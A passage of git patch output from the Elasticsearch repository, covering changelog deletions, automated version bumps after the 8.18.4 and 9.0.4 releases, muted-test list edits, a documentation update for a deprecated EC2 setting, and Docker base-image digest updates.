diff --git a/docs/changelog/130521.yaml b/docs/changelog/130521.yaml
deleted file mode 100644
index e5308ea8dc134..0000000000000
--- a/docs/changelog/130521.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 130521
-summary: Trim to size lists created in source fetchers
-area: Search
-type: bug
-issues: []
diff --git a/docs/changelog/130576.yaml b/docs/changelog/130576.yaml
deleted file mode 100644
index 29947d9259c6b..0000000000000
--- a/docs/changelog/130576.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 130576
-summary: Avoid O(N^2) in VALUES with ordinals grouping
-area: ES|QL
-type: bug
-issues: []
diff --git a/docs/changelog/130705.yaml b/docs/changelog/130705.yaml
deleted file mode 100644
index a43edd7f21b82..0000000000000
--- a/docs/changelog/130705.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 130705
-summary: Fix `BytesRef2BlockHash`
-area: ES|QL
-type: bug
-issues: []
diff --git a/docs/changelog/130776.yaml b/docs/changelog/130776.yaml
deleted file mode 100644
index 9d35a343e91d0..0000000000000
--- a/docs/changelog/130776.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 130776
-summary: Fix msearch request parsing when index expression is null
-area: Search
-type: bug
-issues:
- - 129631
diff --git a/docs/changelog/130924.yaml b/docs/changelog/130924.yaml
deleted file mode 100644
index 09b0f3b90533c..0000000000000
--- a/docs/changelog/130924.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 130924
-summary: Check field data type before casting when applying geo distance sort
-area: Search
-type: bug
-issues:
- - 129500
diff --git a/docs/changelog/131032.yaml b/docs/changelog/131032.yaml
deleted file mode 100644
index c7cbc3af0f9c7..0000000000000
--- a/docs/changelog/131032.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 131032
-summary: "Fix: `GET _synonyms` returns synonyms with empty rules"
-area: Relevance
-type: bug
-issues: []
diff --git a/docs/changelog/131081.yaml b/docs/changelog/131081.yaml
deleted file mode 100644
index e0557f17968a4..0000000000000
--- a/docs/changelog/131081.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 131081
-summary: Fix knn search error when dimensions are not set
-area: Vector Search
-type: bug
-issues:
- - 129550
diff --git a/docs/changelog/131113.yaml b/docs/changelog/131113.yaml
deleted file mode 100644
index cca54f0a302f0..0000000000000
--- a/docs/changelog/131113.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 131113
-summary: Including `max_tokens` through the Service API for Anthropic
-area: Machine Learning
-type: bug
-issues: []

From af7895775a78f929005eafee9bebb1ae10bf4b08 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine <infra-root+elasticsearchmachine@elastic.co>
Date: Tue, 22 Jul 2025 18:45:55 +0000
Subject: [PATCH 210/299] Bump versions after 8.18.4 release

---
 .buildkite/pipelines/intake.yml                        |  2 +-
 .buildkite/pipelines/periodic-packaging.yml            |  6 +++---
 .buildkite/pipelines/periodic.yml                      | 10 +++++-----
 .ci/bwcVersions                                        |  2 +-
 .ci/snapshotBwcVersions                                |  2 +-
 .../main/java/org/elasticsearch/TransportVersions.java |  1 +
 server/src/main/java/org/elasticsearch/Version.java    |  1 +
 .../resources/org/elasticsearch/TransportVersions.csv  |  1 +
 .../org/elasticsearch/index/IndexVersions.csv          |  1 +
 9 files changed, 15 insertions(+), 11 deletions(-)

diff --git a/.buildkite/pipelines/intake.yml b/.buildkite/pipelines/intake.yml
index 337a5246bf643..8d36c1f26fe3f 100644
--- a/.buildkite/pipelines/intake.yml
+++ b/.buildkite/pipelines/intake.yml
@@ -65,7 +65,7 @@ steps:
         timeout_in_minutes: 300
         matrix:
           setup:
-            BWC_VERSION: ["8.17.10", "8.18.4", "8.19.0", "9.0.4", "9.1.0"]
+            BWC_VERSION: ["8.17.10", "8.18.5", "8.19.0", "9.0.4", "9.1.0"]
         agents:
           provider: gcp
           image: family/elasticsearch-ubuntu-2404
diff --git a/.buildkite/pipelines/periodic-packaging.yml b/.buildkite/pipelines/periodic-packaging.yml
index 3d2f6f546ce81..60132e12822ff 100644
--- a/.buildkite/pipelines/periodic-packaging.yml
+++ b/.buildkite/pipelines/periodic-packaging.yml
@@ -318,8 +318,8 @@ steps:
         env:
           BWC_VERSION: 8.17.10
 
-      - label: "{{matrix.image}} / 8.18.4 / packaging-tests-upgrade"
-        command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v8.18.4
+      - label: "{{matrix.image}} / 8.18.5 / packaging-tests-upgrade"
+        command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v8.18.5
         timeout_in_minutes: 300
         matrix:
           setup:
@@ -332,7 +332,7 @@ steps:
           machineType: custom-16-32768
           buildDirectory: /dev/shm/bk
         env:
-          BWC_VERSION: 8.18.4
+          BWC_VERSION: 8.18.5
 
       - label: "{{matrix.image}} / 8.19.0 / packaging-tests-upgrade"
         command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v8.19.0
diff --git a/.buildkite/pipelines/periodic.yml b/.buildkite/pipelines/periodic.yml
index a027379382c58..84b99c4543aca 100644
--- a/.buildkite/pipelines/periodic.yml
+++ b/.buildkite/pipelines/periodic.yml
@@ -344,8 +344,8 @@ steps:
             - signal_reason: agent_stop
               limit: 3
 
-      - label: 8.18.4 / bwc
-        command: .ci/scripts/run-gradle.sh -Dbwc.checkout.align=true v8.18.4#bwcTest
+      - label: 8.18.5 / bwc
+        command: .ci/scripts/run-gradle.sh -Dbwc.checkout.align=true v8.18.5#bwcTest
         timeout_in_minutes: 300
         agents:
           provider: gcp
@@ -354,7 +354,7 @@ steps:
           buildDirectory: /dev/shm/bk
           preemptible: true
         env:
-          BWC_VERSION: 8.18.4
+          BWC_VERSION: 8.18.5
         retry:
           automatic:
             - exit_status: "-1"
@@ -487,7 +487,7 @@ steps:
           setup:
             ES_RUNTIME_JAVA:
               - openjdk21
-            BWC_VERSION: ["8.17.10", "8.18.4", "8.19.0", "9.0.4", "9.1.0"]
+            BWC_VERSION: ["8.17.10", "8.18.5", "8.19.0", "9.0.4", "9.1.0"]
         agents:
           provider: gcp
           image: family/elasticsearch-ubuntu-2404
@@ -531,7 +531,7 @@ steps:
             ES_RUNTIME_JAVA:
               - openjdk21
               - openjdk23
-            BWC_VERSION: ["8.17.10", "8.18.4", "8.19.0", "9.0.4", "9.1.0"]
+            BWC_VERSION: ["8.17.10", "8.18.5", "8.19.0", "9.0.4", "9.1.0"]
         agents:
           provider: gcp
           image: family/elasticsearch-ubuntu-2404
diff --git a/.ci/bwcVersions b/.ci/bwcVersions
index 34d6c127853cd..138c691cdd2cf 100644
--- a/.ci/bwcVersions
+++ b/.ci/bwcVersions
@@ -17,7 +17,7 @@ BWC_VERSION:
   - "8.15.5"
   - "8.16.6"
   - "8.17.10"
-  - "8.18.4"
+  - "8.18.5"
   - "8.19.0"
   - "9.0.4"
   - "9.1.0"
diff --git a/.ci/snapshotBwcVersions b/.ci/snapshotBwcVersions
index 1ac5ee85e5f63..0b1a5babc9e40 100644
--- a/.ci/snapshotBwcVersions
+++ b/.ci/snapshotBwcVersions
@@ -1,6 +1,6 @@
 BWC_VERSION:
   - "8.17.10"
-  - "8.18.4"
+  - "8.18.5"
   - "8.19.0"
   - "9.0.4"
   - "9.1.0"
diff --git a/server/src/main/java/org/elasticsearch/TransportVersions.java b/server/src/main/java/org/elasticsearch/TransportVersions.java
index 2cae4d6117a92..440faace8f357 100644
--- a/server/src/main/java/org/elasticsearch/TransportVersions.java
+++ b/server/src/main/java/org/elasticsearch/TransportVersions.java
@@ -149,6 +149,7 @@ static TransportVersion def(int id) {
     public static final TransportVersion INITIAL_ELASTICSEARCH_8_18_2 = def(8_840_0_04);
     public static final TransportVersion INITIAL_ELASTICSEARCH_8_18_3 = def(8_840_0_05);
     public static final TransportVersion INITIAL_ELASTICSEARCH_8_18_4 = def(8_840_0_06);
+    public static final TransportVersion INITIAL_ELASTICSEARCH_8_18_5 = def(8_840_0_07);
     public static final TransportVersion INITIAL_ELASTICSEARCH_8_19 = def(8_841_0_00);
     public static final TransportVersion COHERE_BIT_EMBEDDING_TYPE_SUPPORT_ADDED_BACKPORT_8_X = def(8_841_0_01);
     public static final TransportVersion REMOVE_ALL_APPLICABLE_SELECTOR_BACKPORT_8_19 = def(8_841_0_02);
diff --git a/server/src/main/java/org/elasticsearch/Version.java b/server/src/main/java/org/elasticsearch/Version.java
index 1c5b7e063b1b0..586067fb41c29 100644
--- a/server/src/main/java/org/elasticsearch/Version.java
+++ b/server/src/main/java/org/elasticsearch/Version.java
@@ -211,6 +211,7 @@ public class Version implements VersionId<Version>, ToXContentFragment {
     public static final Version V_8_18_2 = new Version(8_18_02_99);
     public static final Version V_8_18_3 = new Version(8_18_03_99);
     public static final Version V_8_18_4 = new Version(8_18_04_99);
+    public static final Version V_8_18_5 = new Version(8_18_05_99);
     public static final Version V_8_19_0 = new Version(8_19_00_99);
     public static final Version V_9_0_0 = new Version(9_00_00_99);
     public static final Version V_9_0_1 = new Version(9_00_01_99);
diff --git a/server/src/main/resources/org/elasticsearch/TransportVersions.csv b/server/src/main/resources/org/elasticsearch/TransportVersions.csv
index f9f2984eb3eba..fe38bc3d4816d 100644
--- a/server/src/main/resources/org/elasticsearch/TransportVersions.csv
+++ b/server/src/main/resources/org/elasticsearch/TransportVersions.csv
@@ -154,6 +154,7 @@
 8.18.1,8840003
 8.18.2,8840004
 8.18.3,8840005
+8.18.4,8840006
 9.0.0,9000009
 9.0.1,9000010
 9.0.2,9000011
diff --git a/server/src/main/resources/org/elasticsearch/index/IndexVersions.csv b/server/src/main/resources/org/elasticsearch/index/IndexVersions.csv
index bfef99a64d214..8fd8ec0ca5dc3 100644
--- a/server/src/main/resources/org/elasticsearch/index/IndexVersions.csv
+++ b/server/src/main/resources/org/elasticsearch/index/IndexVersions.csv
@@ -154,6 +154,7 @@
 8.18.1,8525000
 8.18.2,8525000
 8.18.3,8525000
+8.18.4,8525000
 9.0.0,9009000
 9.0.1,9009000
 9.0.2,9009000

From c96f0b1f992142dd84b43dde89b5b2cbf6967ed9 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine <infra-root+elasticsearchmachine@elastic.co>
Date: Tue, 22 Jul 2025 19:01:39 +0000
Subject: [PATCH 211/299] Bump versions after 9.0.4 release

---
 .buildkite/pipelines/intake.yml                        |  2 +-
 .buildkite/pipelines/periodic-packaging.yml            |  6 +++---
 .buildkite/pipelines/periodic.yml                      | 10 +++++-----
 .ci/bwcVersions                                        |  2 +-
 .ci/snapshotBwcVersions                                |  2 +-
 .../main/java/org/elasticsearch/TransportVersions.java |  1 +
 server/src/main/java/org/elasticsearch/Version.java    |  1 +
 .../resources/org/elasticsearch/TransportVersions.csv  |  1 +
 .../org/elasticsearch/index/IndexVersions.csv          |  1 +
 9 files changed, 15 insertions(+), 11 deletions(-)

diff --git a/.buildkite/pipelines/intake.yml b/.buildkite/pipelines/intake.yml
index 8d36c1f26fe3f..8c2627e660102 100644
--- a/.buildkite/pipelines/intake.yml
+++ b/.buildkite/pipelines/intake.yml
@@ -65,7 +65,7 @@ steps:
         timeout_in_minutes: 300
         matrix:
           setup:
-            BWC_VERSION: ["8.17.10", "8.18.5", "8.19.0", "9.0.4", "9.1.0"]
+            BWC_VERSION: ["8.17.10", "8.18.5", "8.19.0", "9.0.5", "9.1.0"]
         agents:
           provider: gcp
           image: family/elasticsearch-ubuntu-2404
diff --git a/.buildkite/pipelines/periodic-packaging.yml b/.buildkite/pipelines/periodic-packaging.yml
index 60132e12822ff..f1474f63a3ad5 100644
--- a/.buildkite/pipelines/periodic-packaging.yml
+++ b/.buildkite/pipelines/periodic-packaging.yml
@@ -350,8 +350,8 @@ steps:
         env:
           BWC_VERSION: 8.19.0
 
-      - label: "{{matrix.image}} / 9.0.4 / packaging-tests-upgrade"
-        command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v9.0.4
+      - label: "{{matrix.image}} / 9.0.5 / packaging-tests-upgrade"
+        command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v9.0.5
         timeout_in_minutes: 300
         matrix:
           setup:
@@ -364,7 +364,7 @@ steps:
           machineType: custom-16-32768
           buildDirectory: /dev/shm/bk
         env:
-          BWC_VERSION: 9.0.4
+          BWC_VERSION: 9.0.5
 
       - label: "{{matrix.image}} / 9.1.0 / packaging-tests-upgrade"
         command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v9.1.0
diff --git a/.buildkite/pipelines/periodic.yml b/.buildkite/pipelines/periodic.yml
index 84b99c4543aca..de7fc1aed7077 100644
--- a/.buildkite/pipelines/periodic.yml
+++ b/.buildkite/pipelines/periodic.yml
@@ -382,8 +382,8 @@ steps:
             - signal_reason: agent_stop
               limit: 3
 
-      - label: 9.0.4 / bwc
-        command: .ci/scripts/run-gradle.sh -Dbwc.checkout.align=true v9.0.4#bwcTest
+      - label: 9.0.5 / bwc
+        command: .ci/scripts/run-gradle.sh -Dbwc.checkout.align=true v9.0.5#bwcTest
         timeout_in_minutes: 300
         agents:
           provider: gcp
@@ -392,7 +392,7 @@ steps:
           buildDirectory: /dev/shm/bk
           preemptible: true
         env:
-          BWC_VERSION: 9.0.4
+          BWC_VERSION: 9.0.5
         retry:
           automatic:
             - exit_status: "-1"
@@ -487,7 +487,7 @@ steps:
           setup:
             ES_RUNTIME_JAVA:
               - openjdk21
-            BWC_VERSION: ["8.17.10", "8.18.5", "8.19.0", "9.0.4", "9.1.0"]
+            BWC_VERSION: ["8.17.10", "8.18.5", "8.19.0", "9.0.5", "9.1.0"]
         agents:
           provider: gcp
           image: family/elasticsearch-ubuntu-2404
@@ -531,7 +531,7 @@ steps:
             ES_RUNTIME_JAVA:
               - openjdk21
               - openjdk23
-            BWC_VERSION: ["8.17.10", "8.18.5", "8.19.0", "9.0.4", "9.1.0"]
+            BWC_VERSION: ["8.17.10", "8.18.5", "8.19.0", "9.0.5", "9.1.0"]
         agents:
           provider: gcp
           image: family/elasticsearch-ubuntu-2404
diff --git a/.ci/bwcVersions b/.ci/bwcVersions
index 138c691cdd2cf..04bd0f5931b96 100644
--- a/.ci/bwcVersions
+++ b/.ci/bwcVersions
@@ -19,5 +19,5 @@ BWC_VERSION:
   - "8.17.10"
   - "8.18.5"
   - "8.19.0"
-  - "9.0.4"
+  - "9.0.5"
   - "9.1.0"
diff --git a/.ci/snapshotBwcVersions b/.ci/snapshotBwcVersions
index 0b1a5babc9e40..f4a50f697d43a 100644
--- a/.ci/snapshotBwcVersions
+++ b/.ci/snapshotBwcVersions
@@ -2,5 +2,5 @@ BWC_VERSION:
   - "8.17.10"
   - "8.18.5"
   - "8.19.0"
-  - "9.0.4"
+  - "9.0.5"
   - "9.1.0"
diff --git a/server/src/main/java/org/elasticsearch/TransportVersions.java b/server/src/main/java/org/elasticsearch/TransportVersions.java
index 440faace8f357..0b4a61c929a71 100644
--- a/server/src/main/java/org/elasticsearch/TransportVersions.java
+++ b/server/src/main/java/org/elasticsearch/TransportVersions.java
@@ -219,6 +219,7 @@ static TransportVersion def(int id) {
     public static final TransportVersion INITIAL_ELASTICSEARCH_9_0_2 = def(9_000_0_11);
     public static final TransportVersion INITIAL_ELASTICSEARCH_9_0_3 = def(9_000_0_12);
     public static final TransportVersion INITIAL_ELASTICSEARCH_9_0_4 = def(9_000_0_13);
+    public static final TransportVersion INITIAL_ELASTICSEARCH_9_0_5 = def(9_000_0_14);
     public static final TransportVersion COHERE_BIT_EMBEDDING_TYPE_SUPPORT_ADDED = def(9_001_0_00);
     public static final TransportVersion REMOVE_SNAPSHOT_FAILURES = def(9_002_0_00);
     public static final TransportVersion TRANSPORT_STATS_HANDLING_TIME_REQUIRED = def(9_003_0_00);
diff --git a/server/src/main/java/org/elasticsearch/Version.java b/server/src/main/java/org/elasticsearch/Version.java
index 586067fb41c29..315d7c861279f 100644
--- a/server/src/main/java/org/elasticsearch/Version.java
+++ b/server/src/main/java/org/elasticsearch/Version.java
@@ -218,6 +218,7 @@ public class Version implements VersionId<Version>, ToXContentFragment {
     public static final Version V_9_0_2 = new Version(9_00_02_99);
     public static final Version V_9_0_3 = new Version(9_00_03_99);
     public static final Version V_9_0_4 = new Version(9_00_04_99);
+    public static final Version V_9_0_5 = new Version(9_00_05_99);
     public static final Version V_9_1_0 = new Version(9_01_00_99);
     public static final Version CURRENT = V_9_1_0;
 
diff --git a/server/src/main/resources/org/elasticsearch/TransportVersions.csv b/server/src/main/resources/org/elasticsearch/TransportVersions.csv
index fe38bc3d4816d..7ac25eecc22f4 100644
--- a/server/src/main/resources/org/elasticsearch/TransportVersions.csv
+++ b/server/src/main/resources/org/elasticsearch/TransportVersions.csv
@@ -159,3 +159,4 @@
 9.0.1,9000010
 9.0.2,9000011
 9.0.3,9000012
+9.0.4,9000013
diff --git a/server/src/main/resources/org/elasticsearch/index/IndexVersions.csv b/server/src/main/resources/org/elasticsearch/index/IndexVersions.csv
index 8fd8ec0ca5dc3..e63e1c3fc99d8 100644
--- a/server/src/main/resources/org/elasticsearch/index/IndexVersions.csv
+++ b/server/src/main/resources/org/elasticsearch/index/IndexVersions.csv
@@ -159,3 +159,4 @@
 9.0.1,9009000
 9.0.2,9009000
 9.0.3,9009000
+9.0.4,9009000

From 902f0a6a5941d01dcd2aa37c3de6b32350911bbe Mon Sep 17 00:00:00 2001
From: Stanislav Malyshev <smalyshev@users.noreply.github.com>
Date: Tue, 22 Jul 2025 16:02:09 -0600
Subject: [PATCH 212/299] Re-enable CrossClusterAsyncQueryStopIT (#131717)

I think the failures were the consequence of running pragma tests in release,
which since has been fixed.
---
 muted-tests.yml | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index 72ce7cc6dc3b5..40f8109b8dbb0 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -438,15 +438,6 @@ tests:
 - class: org.elasticsearch.xpack.downsample.DownsampleWithBasicRestIT
   method: test {p0=downsample-with-security/10_basic/Downsample index}
   issue: https://github.com/elastic/elasticsearch/issues/131513
-- class: org.elasticsearch.xpack.esql.action.CrossClusterAsyncQueryStopIT
-  method: testStopQueryLocal
-  issue: https://github.com/elastic/elasticsearch/issues/131595
-- class: org.elasticsearch.xpack.esql.action.CrossClusterAsyncQueryStopIT
-  method: testStopQueryLocalNoRemotes
-  issue: https://github.com/elastic/elasticsearch/issues/131596
-- class: org.elasticsearch.xpack.esql.action.CrossClusterAsyncQueryStopIT
-  method: testStopQuery
-  issue: https://github.com/elastic/elasticsearch/issues/131597
 
 # Examples:
 #

From 7bba49e319fd35e27666faf8961f92cd5c16ac82 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Wed, 23 Jul 2025 01:28:10 +0200
Subject: [PATCH 213/299] Mute org.elasticsearch.packaging.test.DockerTests
 test022InstallPluginsFromLocalArchive #116866

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index 40f8109b8dbb0..d63266f18a3f0 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -438,6 +438,9 @@ tests:
 - class: org.elasticsearch.xpack.downsample.DownsampleWithBasicRestIT
   method: test {p0=downsample-with-security/10_basic/Downsample index}
   issue: https://github.com/elastic/elasticsearch/issues/131513
+- class: org.elasticsearch.packaging.test.DockerTests
+  method: test022InstallPluginsFromLocalArchive
+  issue: https://github.com/elastic/elasticsearch/issues/116866
 
 # Examples:
 #

From 1f2866fc845e2891d5653967e27ce5b5613fa37f Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Wed, 23 Jul 2025 09:45:37 +0200
Subject: [PATCH 214/299] Mute org.elasticsearch.packaging.test.DockerTests
 test140CgroupOsStatsAreAvailable #131372

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index d63266f18a3f0..f742291739842 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -441,6 +441,9 @@ tests:
 - class: org.elasticsearch.packaging.test.DockerTests
   method: test022InstallPluginsFromLocalArchive
   issue: https://github.com/elastic/elasticsearch/issues/116866
+- class: org.elasticsearch.packaging.test.DockerTests
+  method: test140CgroupOsStatsAreAvailable
+  issue: https://github.com/elastic/elasticsearch/issues/131372
 
 # Examples:
 #

From 0c941f28d9d2e993fc409973e2d57bae6802af55 Mon Sep 17 00:00:00 2001
From: Moritz Mack <mmack@apache.org>
Date: Wed, 23 Jul 2025 13:32:16 +0200
Subject: [PATCH 215/299] Disable entitlements for DirectIOIT, the suite
 requires delegation to work (#131505) (#131512)

Disable entitlements for DirectIOIT, the suite requires delegation to
work.

On main the suite is skipped (direct IO is disabled by default), but
this blocks backports.
---
 .../java/org/elasticsearch/index/store/DirectIOIT.java          | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/server/src/internalClusterTest/java/org/elasticsearch/index/store/DirectIOIT.java b/server/src/internalClusterTest/java/org/elasticsearch/index/store/DirectIOIT.java
index c80eac73f4f6a..f9af9fea6e3b1 100644
--- a/server/src/internalClusterTest/java/org/elasticsearch/index/store/DirectIOIT.java
+++ b/server/src/internalClusterTest/java/org/elasticsearch/index/store/DirectIOIT.java
@@ -21,6 +21,7 @@
 import org.elasticsearch.search.vectors.KnnSearchBuilder;
 import org.elasticsearch.search.vectors.VectorData;
 import org.elasticsearch.test.ESIntegTestCase;
+import org.elasticsearch.test.ESTestCase;
 import org.elasticsearch.test.InternalSettingsPlugin;
 import org.elasticsearch.test.MockLog;
 import org.elasticsearch.test.junit.annotations.TestLogging;
@@ -40,6 +41,7 @@
 import static org.hamcrest.Matchers.is;
 
 @LuceneTestCase.SuppressCodecs("*") // only use our own codecs
+@ESTestCase.WithoutEntitlements // requires entitlement delegation ES-10920
 public class DirectIOIT extends ESIntegTestCase {
 
     @BeforeClass

From d4ece2609f418e6b00af0a9b61ced27829f98f93 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Istv=C3=A1n=20Zolt=C3=A1n=20Szab=C3=B3?=
 <istvan.szabo@elastic.co>
Date: Wed, 23 Jul 2025 13:53:11 +0200
Subject: [PATCH 216/299] [DOCS] Tags `discovery.ec2.protocol` setting as
 removed in 9.1 (#131702) (#131752)

* [DOCS] Tags discovery.ec2.protocol as removed in 9.1.

* Adds frontmatter applies_to.

* Changes lifecycle statement to deprecated.

* Addresses feedback.
---
 docs/reference/elasticsearch-plugins/discovery-ec2-usage.md | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/docs/reference/elasticsearch-plugins/discovery-ec2-usage.md b/docs/reference/elasticsearch-plugins/discovery-ec2-usage.md
index b5a69bb65f368..3c15b853d428d 100644
--- a/docs/reference/elasticsearch-plugins/discovery-ec2-usage.md
+++ b/docs/reference/elasticsearch-plugins/discovery-ec2-usage.md
@@ -1,4 +1,6 @@
 ---
+applies_to:
+  stack: ga
 mapped_pages:
   - https://www.elastic.co/guide/en/elasticsearch/plugins/current/discovery-ec2-usage.html
 ---
@@ -45,6 +47,9 @@ The available settings for the EC2 discovery plugin are as follows.
 `discovery.ec2.endpoint`
 :   The EC2 service endpoint to which to connect. See [https://docs.aws.amazon.com/general/latest/gr/rande.html#ec2_region](https://docs.aws.amazon.com/general/latest/gr/rande.html#ec2_region) to find the appropriate endpoint for the region. This setting defaults to `ec2.us-east-1.amazonaws.com` which is appropriate for clusters running in the `us-east-1` region.
 
+`discovery.ec2.protocol` {applies_to}`stack: deprecated 9.1`
+:   The protocol to use to connect to the EC2 service endpoint, which may be either `http` or `https`. Defaults to `https`. This setting does not operate from version 9.1 and higher.
+
 `discovery.ec2.proxy.host`
 :   The address or host name of an HTTP proxy through which to connect to EC2. If not set, no proxy is used.
 

From 719fbc233f377992a02389ca49c6c4e9822e04a0 Mon Sep 17 00:00:00 2001
From: "elastic-renovate-prod[bot]"
 <174716857+elastic-renovate-prod[bot]@users.noreply.github.com>
Date: Wed, 23 Jul 2025 15:04:21 +0200
Subject: [PATCH 217/299] Update wolfi (versioned) (#131721)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This PR contains the following updates:

| Package | Type | Update | Change | |---|---|---|---| |
docker.elastic.co/wolfi/chainguard-base |  | digest | `5e3d0d5` ->
`2a601e3` | | docker.elastic.co/wolfi/chainguard-base | final | digest |
`5e3d0d5` -> `2a601e3` | | docker.elastic.co/wolfi/chainguard-base |
stage | digest | `5e3d0d5` -> `2a601e3` | |
docker.elastic.co/wolfi/chainguard-base-fips |  | digest | `048914a` ->
`93befc0` | | docker.elastic.co/wolfi/chainguard-base-fips | final |
digest | `048914a` -> `93befc0` | |
docker.elastic.co/wolfi/chainguard-base-fips | stage | digest |
`048914a` -> `93befc0` |

---

### Configuration

📅 **Schedule**: Branch creation - "after 1pm on tuesday" (UTC),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once
you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions) if
that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate
Bot](https://redirect.github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiOS4xIiwibGFiZWxzIjpbIjpEZWxpdmVyeS9QYWNrYWdpbmciLCI+bm9uLWlzc3VlIiwiVGVhbTpEZWxpdmVyeSIsImF1dG8tbWVyZ2Utd2l0aG91dC1hcHByb3ZhbCJdfQ==-->
---
 .../docker/src/docker/dockerfiles/cloud_ess_fips/Dockerfile   | 4 ++--
 distribution/docker/src/docker/dockerfiles/wolfi/Dockerfile   | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/distribution/docker/src/docker/dockerfiles/cloud_ess_fips/Dockerfile b/distribution/docker/src/docker/dockerfiles/cloud_ess_fips/Dockerfile
index 5c4cdf82ce425..48893e868dd9d 100644
--- a/distribution/docker/src/docker/dockerfiles/cloud_ess_fips/Dockerfile
+++ b/distribution/docker/src/docker/dockerfiles/cloud_ess_fips/Dockerfile
@@ -24,7 +24,7 @@
 # Extract Elasticsearch artifact
 ################################################################################
 
-FROM docker.elastic.co/wolfi/chainguard-base-fips:latest@sha256:048914a5a4b307217c46e47e6f28d9e4e2a6f6d9055278500c8447ca487a037f AS builder
+FROM docker.elastic.co/wolfi/chainguard-base-fips:latest@sha256:93befc0b3711e8091ab5da81d0a45a3568c3a846a9f097771403f2ba04430812 AS builder
 
 # Install required packages to extract the Elasticsearch distribution
 RUN <%= retry.loop(package_manager, "export DEBIAN_FRONTEND=noninteractive && ${package_manager} update && ${package_manager} update && ${package_manager} add --no-cache curl") %>
@@ -103,7 +103,7 @@ WORKDIR /usr/share/elasticsearch/config
 # Add entrypoint
 ################################################################################
 
-FROM docker.elastic.co/wolfi/chainguard-base-fips:latest@sha256:048914a5a4b307217c46e47e6f28d9e4e2a6f6d9055278500c8447ca487a037f
+FROM docker.elastic.co/wolfi/chainguard-base-fips:latest@sha256:93befc0b3711e8091ab5da81d0a45a3568c3a846a9f097771403f2ba04430812
 
 RUN <%= retry.loop(package_manager,
           "export DEBIAN_FRONTEND=noninteractive && \n" +
diff --git a/distribution/docker/src/docker/dockerfiles/wolfi/Dockerfile b/distribution/docker/src/docker/dockerfiles/wolfi/Dockerfile
index 2cbdd761728c8..12b5c17f0e43a 100644
--- a/distribution/docker/src/docker/dockerfiles/wolfi/Dockerfile
+++ b/distribution/docker/src/docker/dockerfiles/wolfi/Dockerfile
@@ -24,7 +24,7 @@
 # Extract Elasticsearch artifact
 ################################################################################
 
-FROM docker.elastic.co/wolfi/chainguard-base:latest@sha256:5e3d0d5d6e3470b57d2f39e72418003f17027c98ee47bcf953225e6cc1be7ba2 AS builder
+FROM docker.elastic.co/wolfi/chainguard-base:latest@sha256:2a601e3db11b58d6d5bfedb651c513e46556e231a56f437990ec4f0248f2207b AS builder
 
 # Install required packages to extract the Elasticsearch distribution
 RUN <%= retry.loop(package_manager, "export DEBIAN_FRONTEND=noninteractive && ${package_manager} update && ${package_manager} update && ${package_manager} add --no-cache curl") %>
@@ -79,7 +79,7 @@ RUN sed -i -e 's/ES_DISTRIBUTION_TYPE=tar/ES_DISTRIBUTION_TYPE=docker/' bin/elas
 # Add entrypoint
 ################################################################################
 
-FROM docker.elastic.co/wolfi/chainguard-base:latest@sha256:5e3d0d5d6e3470b57d2f39e72418003f17027c98ee47bcf953225e6cc1be7ba2
+FROM docker.elastic.co/wolfi/chainguard-base:latest@sha256:2a601e3db11b58d6d5bfedb651c513e46556e231a56f437990ec4f0248f2207b
 
 RUN <%= retry.loop(package_manager,
           "export DEBIAN_FRONTEND=noninteractive && \n" +

From 5d8fd08c8a617208e1e8d323e84ce4ce9c433906 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Mariusz=20J=C3=B3zala?=
 <377355+jozala@users.noreply.github.com>
Date: Wed, 23 Jul 2025 15:44:11 +0200
Subject: [PATCH 218/299] Update Gradle Wrapper Validation action (#131682)
 (#131761)

The old one was failing from time to time. The new version has retry built-in so it hopefully solve the issue.
---
